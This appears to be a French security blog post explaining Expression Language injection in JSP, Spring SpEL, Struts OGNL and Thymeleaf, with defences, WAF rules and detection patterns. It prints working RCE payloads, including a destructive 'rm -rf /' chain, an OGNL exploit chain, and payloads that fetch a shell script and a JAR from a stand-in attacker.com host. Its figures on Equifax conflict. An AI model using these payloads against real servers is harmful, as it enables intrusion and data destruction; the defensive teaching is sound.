Security
9 min read
3338 views

Injection de langage d'expression : Quand ${} devient votre pire cauchemar 💀

IT
InstaTunnel Team
Published by our engineering team
Injection de langage d'expression : Quand ${} devient votre pire cauchemar 💀

Introduction : L’assassin silencieux des applications web

Imaginez un champ de saisie apparemment innocent qui demande votre nom. Vous tapez John, soumettez le formulaire, et voyez “Bienvenue, John !” affiché à l’écran. C’est simple, non ? Mais que se passe-t-il si quelqu’un entre ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} à la place ? Entre de mauvaises mains, ce champ d’entrée innocent devient une arme capable de compromettre complètement le système.

L’injection de langage d’expression (EL Injection) est l’une des vulnérabilités les plus dévastatrices mais sous-estimées dans les applications web modernes. Ce vecteur d’attaque permet aux adversaires d’exécuter du code arbitraire sur les serveurs en exploitant la manière dont les moteurs de template évaluent les expressions dynamiques. Contrairement aux attaques d’injection traditionnelles qui nécessitent une construction de charge utile complexe, l’EL injection nécessite souvent seulement quelques caractères entourés de ${} ou #{} pour réaliser une exécution de code à distance (RCE).

Qu’est-ce que l’injection de langage d’expression ?

L’injection de langage d’expression se produit lorsque l’entrée contrôlée par l’utilisateur est évaluée comme une expression par les moteurs de template côté serveur sans validation ou nettoyage approprié. Lorsqu’une application utilisant un langage d’expression est vulnérable à l’EL injection, un attaquant envoie du code conçu pour exploiter cette faiblesse, soit dans la chaîne de requête, soit dans un objet de formulaire, et ce code est compilé à l’exécution.

Comprendre les langages d’expression

Les langages d’expression ont été conçus pour simplifier le développement d’applications en fournissant un moyen facile d’accéder et de manipuler des données dans les applications web. Ils permettent aux développeurs de :

  • Accéder aux composants JavaBeans et à leurs propriétés
  • Invoker des méthodes publiques et des fonctions statiques
  • Effectuer des opérations arithmétiques et logiques
  • Récupérer des données dans diverses portées (requête, session, application)

Les frameworks courants utilisant EL incluent :

  • JavaServer Pages (JSP) - Utilise ${} et #{}
  • Spring Framework - Spring Expression Language (SpEL)
  • Thymeleaf - Moteur de templating naturel
  • Apache Struts - Object-Graph Navigation Language (OGNL)
  • Java Unified Expression Language - Norme pour Java EE

Anatomie d’une expression EL

Les expressions EL standard suivent des modèles prévisibles :

${variable}              # Accéder à une variable
${object.property}       # Accéder aux propriétés d'un objet
${object.method()}       # Invoker des méthodes
${"string".length()}     # Opérations sur les chaînes
${1 + 1}                 # Opérations arithmétiques

Le danger apparaît lorsque ces expressions traitent des entrées utilisateur non vérifiées.

La base technique : comment fonctionne l’EL Injection

La chaîne de vulnérabilité

L’EL injection exploite une faille fondamentale dans la gestion du contenu dynamique par les applications :

  1. Réception de l’entrée utilisateur : L’application reçoit des données via formulaires, paramètres URL, en-têtes ou cookies
  2. Traitement du template : L’entrée est incorporée dans une expression EL
  3. Évaluation de l’expression : L’interpréteur EL évalue l’expression complète
  4. Exécution du code : Le code malveillant dans l’expression s’exécute sur le serveur

Considérez ce code JSP vulnérable :

3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3cp3eBienvenue, ${data.userInput} !3c/p3e

Si un utilisateur soumet input=${7*7}, l’application évalue l’expression et retourne 49 au lieu de la chaîne littérale ${7*7}. Cette confirmation d’évaluation d’expression indique une vulnérabilité.

Techniques de détection

Pour confirmer qu’il s’agit d’une EL injection, des charges utiles comme ${"dfd".replace("d","x")} peuvent être utilisées, avec une sortie attendue de ‘xfx’ où la chaîne fournie ‘dfd’ est convertie en ‘xfx’ en remplaçant ’d’ par ‘x’.

Charges utiles de détection courantes :

${7*7}                    # Attendu : 49
${{7*7}}                  # Attendu : [49]
${"test".length()}        # Attendu : 4
${"a".concat("b")}        # Attendu : ab
${T(java.lang.Runtime)}   # Spring : référence de classe

Les testeurs en boîte noire doivent injecter ces charges dans divers points d’injection :

  • Paramètres URL
  • Champs de formulaire
  • En-têtes HTTP
  • Valeurs de cookies
  • Métadonnées de téléchargement de fichiers
  • Champs de données JSON/XML

Vecteurs d’attaque : de la divulgation d’informations à la RCE

Phase 1 : Collecte d’informations

Les attaquants commencent généralement par extraire des informations sensibles :

${applicationScope}                           # Variables d'application
${sessionScope}                               # Données de session
${pageContext.request.getHeader("Cookie")}    # En-têtes
${pageContext.servletContext.serverInfo}      # Informations du serveur

Phase 2 : Escalade vers l’exécution de code à distance

Obtenir une exploitation complète de l’EL Injection et atteindre une RCE pleinement fonctionnelle nécessite d’invoquer la classe runtime.exec() pour exécuter des commandes système.

Méthode 1 : Invocation directe de Runtime

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime')
    .invoke(null)
    .exec('whoami')}

Méthode 2 : Exploitation de ProcessBuilder

${request.setAttribute("c","".getClass()
    .forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
    .getConstructor(java.util.List.class)
    .newInstance(request.getAttribute("c")).start()}

Méthode 3 : ScriptEngineManager

${facesContext.getExternalContext().setResponseHeader("output",
    "".getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("JavaScript")
    .eval("var x=new java.lang.ProcessBuilder; 
          x.command(\"wget\",\"http://attacker.com/shell.sh\"); 
          org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}

Méthode 4 : URLClassLoader pour code distant

${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
    .getConstructor(java.net.URL[].class)
    .newInstance(new java.net.URL[]
        {new java.net.URL("http://attacker.com/malicious.jar")})}

Vulnérabilités spécifiques aux frameworks

Langage d’expression JSP

Les pages JavaServer sont particulièrement vulnérables lorsqu’elles utilisent la balise 3cjsp:setProperty3e ou directement le langage d’expression dans les templates :

3c!-- Modèle vulnérable --3e
3c:c:out value="${param.userInput}" /3e

3c!-- Exemple d'attaque --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}

Spring Framework et SpEL

Dans les versions de Spring 3.0.5 et antérieures, les balises EL pouvaient être évaluées deux fois, exposant l’application à l’EL injection (CVE-2011-2730).

Spring Expression Language offre des fonctionnalités puissantes qui deviennent dangereuses avec des entrées non vérifiées :

// Contrôleur Spring vulnérable
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name); // VULNÉRABLE
    model.addAttribute("greeting", exp.getValue());
    return "welcome";
}

// Attaque : ?name=T(java.lang.Runtime).getRuntime().exec('whoami')

Struts et OGNL

La faille d’Equifax, qui a affecté les données de 159 millions de personnes, a été causée par une injection OGNL (Object-Graph Navigation Language), avec Accordé jusqu’à 425 millions de dollars pour aider les consommateurs à se remettre.

L’injection OGNL dans Struts permet une exploitation similaire :

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Moteur de template Thymeleaf

Thymeleaf utilise des expressions dans les attributs et peut être exploité lorsque les templates traitent des entrées utilisateur :

3c!-- Modèle vulnérable --3e
3cdiv th:text="${userInput}" 3e3c/div3e

3c!-- Attaque --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}

Études de cas réelles

CVE-2024-51466 : IBM Cognos Analytics

Un chercheur a découvert un point de terminaison dans l’application IBM Cognos qui accepte l’entrée utilisateur et la passe dans une expression EL provoquant une RCE, en chaîne avec une autre vulnérabilité pour contourner l’authentification, aboutissant à une RCE non authentifiée.

La vulnérabilité a été exploitée avec la charge utile :

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime').invoke(null).exec('command')}

La réponse a retourné java.lang.ProcessImpl@b639b23d, confirmant la création du processus et l’exécution réussie du code.

CVE-2024-12798 : Vulnérabilité de Logback Core

Une vulnérabilité ACE dans QOS.CH logback-core jusqu’à la version 1.5.12 permet aux attaquants d’exécuter du code arbitraire en utilisant l’extension JaninoEventEvaluator en compromettant un fichier de configuration logback existant ou en injectant une variable d’environnement malveillante avant l’exécution du programme.

La faille d’Equifax (2017)

L’attaque EL la plus célèbre a exploité la vulnérabilité OGNL CVE-2017-5638 d’Apache Struts. Les attaquants ont accédé à :

  • Informations personnelles de 147 millions d’Américains
  • Dossiers de 15,2 millions de citoyens britanniques
  • Données de 19 000 Canadiens

Le vecteur d’attaque était étonnamment simple : une en-tête Content-Type malveillante contenant des expressions OGNL qui exécutaient des commandes sur le serveur.

Stratégies de défense : construire des applications résilientes

Validation et nettoyage des entrées

Évitez d’insérer des données utilisateur dans un interpréteur d’expressions si possible. Sinon, validez et/ou encodez les données pour garantir qu’elles ne soient pas évaluées comme langage d’expression.

Mettre en œuvre une validation stricte :

public boolean isValidInput(String input) {
    // Rejeter les délimiteurs EL
    Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
    Matcher matcher = pattern.matcher(input);
    
    if (matcher.matches()) {
        throw new SecurityException("Détection potentielle d'EL injection");
    }
    
    // Approche liste blanche - autoriser uniquement alphanumériques
    return input.matches("[a-zA-Z0-9]+");
}

Désactiver l’évaluation d’expressions

Pour Spring Framework :

Dans le cas de Spring, désactivez la fonctionnalité de double résolution dans les versions 3.0.6 et supérieures en plaçant la configuration dans le fichier web.xml de l’application :

<context-param>
    <description>Support du langage d'expression Spring</description>
    <param-name>springJspExpressionSupport</param-name>
    <param-value>false</param-value>
</context-param>

Politiques de sécurité de contenu

Implémentez un encodage robuste de sortie :

public String escapeEL(String input) {
    return input
        .replace("$", "\\$")
        .replace("{", "\\{")
        .replace("}", "\\}")
        .replace("#", "\\#");
}

Protections spécifiques aux frameworks

JSP : - Utilisez les balises JSTL avec escapeXml="true" - Évitez l’évaluation EL directe dans les balises personnalisées - Implémentez des en-têtes de politique de sécurité de contenu

Spring : - Maintenez Spring à jour (correctifs critiques en 5.2.20+ et 5.3.18+) - Utilisez @PreAuthorize pour la sécurité au niveau des méthodes - Évitez d’analyser l’entrée utilisateur en expressions SpEL

Thymeleaf : - Utilisez des expressions prétraitées __${...}__ avec précaution - Activez le mode strict dans la configuration - Validez toutes les entrées utilisateur avant le traitement du template

Protection en temps d’exécution (RASP)

Les solutions RASP modernes peuvent détecter et bloquer les tentatives d’EL injection en :

  • Surveillant les modèles d’évaluation d’expression
  • Analysant le comportement en temps réel pour détecter des anomalies
  • Bloquant les invocations de méthodes dangereuses (Runtime.exec, ProcessBuilder)
  • Implémentant des patchs virtuels pour les vulnérabilités zero-day

Tests de sécurité

Tests en boîte blanche : - Revue de code axée sur l’utilisation d’EL - Outils de test de sécurité statique (SAST) - Analyse des vulnérabilités des dépendances

Tests en boîte noire : - Fuzzing avec des charges utiles EL - Tests de sécurité dynamiques (DAST) - Tests d’intrusion avec des charges utiles personnalisées

Détection et surveillance

Analyse des logs

Surveillez les modèles suspects :

${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader

Pare-feux d’applications web (WAF)

Configurez les règles WAF pour détecter :

# Exemple ModSecurity
SecRule ARGS "@rx \$\{.*\}" \
    "id:100001,\
    phase:2,\
    deny,\
    log,\
    msg:'Potentiel EL Injection'

Détection en temps réel

Implémentez des hooks en temps d’exécution pour surveiller :

  • Appels API de réflexion depuis des contextes utilisateur
  • Tentatives de création de processus
  • Chargements de classes depuis des sources non fiables
  • Connexions réseau depuis l’évaluation de template

L’avenir de l’EL Injection

Menaces émergentes

À mesure que les frameworks évoluent, de nouveaux vecteurs d’attaque apparaissent :

  1. Charges utiles polyglottes : combinaison de plusieurs types d’injection
  2. Attaques encodées : payloads en Base64, Unicode, hexadécimal
  3. Exploitation aveugle basée sur le temps : détection via des attaques par timing
  4. Exploitation en chaîne : combinaison d’EL injection avec d’autres vulnérabilités

Bonnes pratiques de sécurité

  1. Principe du moindre privilège : exécuter les applications avec des permissions minimales
  2. Défense en profondeur : mettre en œuvre plusieurs couches de sécurité
  3. Mises à jour régulières : maintenir frameworks et dépendances à jour
  4. Formation à la sécurité : sensibiliser les développeurs aux risques d’injection
  5. Standards de codage sécurisé : établir et appliquer des directives de codage

Statistiques et impact

L’application ou API moyenne a reçu 4 110 probes en octobre 2024, avec des attaques EL exploitables en moyenne environ 2,5 probes et 1,4 attaques exploitables par mois.

Bien que ces chiffres puissent sembler faibles, la gravité est extrême. Chaque injection EL réussie peut entraîner :

  • Compromission complète du serveur
  • Fuite de données affectant des millions
  • Pertes financières de centaines de millions
  • Sanctions réglementaires et conséquences juridiques
  • Dégâts irréparables à la réputation

Conclusion : La vigilance est obligatoire

L’injection de langage d’expression représente l’une des vulnérabilités les plus critiques dans les applications web modernes. L’apparence innocente des délimiteurs ${} masque leur potentiel de dégâts catastrophiques. De la faille d’Equifax aux CVE récents comme IBM Cognos, l’EL injection continue de hanter les organisations dans le monde entier.

La bonne nouvelle ? L’EL injection est entièrement évitable grâce à :

  • Validation rigoureuse des entrées
  • Encodage correct des sorties
  • configurations de sécurité des frameworks
  • Tests de sécurité réguliers
  • Formation des développeurs

Souvenez-vous : chaque champ d’entrée est un vecteur d’attaque potentiel. Chaque expression de template traitant des données utilisateur est un risque. Chaque application utilisant des langages d’expression nécessite une considération de sécurité attentive.

Le scénario cauchemar n’est pas que l’EL injection existe — c’est que les développeurs continuent de la négliger. Ne laissez pas ${} devenir votre pire cauchemar. Traitez chaque entrée utilisateur comme hostile, validez sans relâche, et intégrez la sécurité à chaque couche de votre application.

Points clés à retenir

  1. Ne faites jamais confiance à l’entrée utilisateur - Toutes les données externes sont potentiellement malveillantes
  2. Évitez d’évaluer l’entrée utilisateur comme des expressions - Utilisez des templates statiques autant que possible
  3. Implémentez une défense en profondeur - Multipliez les contrôles de sécurité
  4. Restez à jour - Appliquez rapidement les correctifs de sécurité
  5. Testez en continu - Les évaluations régulières de sécurité sont essentielles
  6. Surveillez activement - Détectez les attaques avant qu’elles ne causent des dégâts
  7. Formez les équipes - La sécurité est la responsabilité de tous

L’injection de langage d’expression n’est pas qu’une vulnérabilité technique — c’est une crise de sécurité critique en attente. La question n’est pas si votre application sera testée par des attaquants, mais quand. Assurez-vous d’être prêt.


À propos de l’auteur : Cet article couvre les vulnérabilités d’injection de langage d’expression basées sur la recherche en sécurité actuelle et les divulgations CVE récentes jusqu’en 2025. Pour les dernières mises à jour de sécurité, consultez toujours la documentation officielle des frameworks et les avis de sécurité.

Références : OWASP, bases de données CVE, articles de recherche en sécurité, rapports de divulgation de vulnérabilités de 2024-2025.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#expression language injection, EL injection, EL RCE, JSP EL injection, Spring EL injection, Thymeleaf EL injection, JBoss EL vulnerability, EL template injection, template expression injection, ${} injection, remote code execution via EL, EL payloads, OGNL injection, MVEL injection, Java EL injection, JSP expression injection, Spring SpEL injection, Struts2 EL vulnerability, EL bypass, RCE in Java frameworks, template injection attack, expression evaluation vulnerability, arbitrary code execution EL, input field EL injection, user input evaluation, web template injection, Java server pages vulnerability, Spring expression language exploit, JUEL injection, dynamic evaluation attack, deserialization via EL, insecure expression parsing, EL sandbox escape, EL injection detection, EL injection fuzzing, EL injection payloads GitHub, EL injection prevention, secure template rendering, disable EL evaluation, Spring security expression hardening, expression resolver exploitation, EL injection scanner, web application RCE, EL injection tutorial, EL injection CVE, OWASP template injection, bug bounty EL injection, EL injection in 2025, web templating vulnerability, Java security misconfiguration, code injection prevention, expression parsing vulnerability, input sanitization for EL, expression validation best practices, EL injection mitigation, JSP RCE prevention, expression injection defense, EL injection examples

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles